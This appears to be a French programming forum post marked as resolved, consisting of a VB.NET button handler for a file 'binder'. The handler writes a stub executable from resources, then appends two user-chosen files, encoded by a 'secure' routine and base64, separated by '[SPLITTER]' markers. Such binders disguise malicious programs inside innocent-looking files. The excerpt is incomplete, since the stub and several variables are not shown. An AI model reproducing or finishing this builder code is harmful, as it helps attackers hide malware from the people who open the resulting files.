Probléme en VB.NET [Résolu]

 Private Sub Thief3Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Thief3Button3.Click


        Dim sfd As New SaveFileDialog
        With sfd
            .FileName = "*.*"
            .Title = "Choisir le nouvelle emplacement du fichier..."
            .Filter = "All File (*.*)|*.*"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If ShowDialog() = Windows.Forms.DialogResult.OK Then
                Dim sp As String = "[SPLITTER]"
                Dim buffer As Byte() = My.Resources.Stub2
                My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
                Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
                Dim file2 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
                System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(file1) & sp & F & sp & Convert.ToBase64String(file2) & sp & F2)
                MsgBox("Binder avec succès!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Succès !")
            End If
        End With

    End Sub

End Class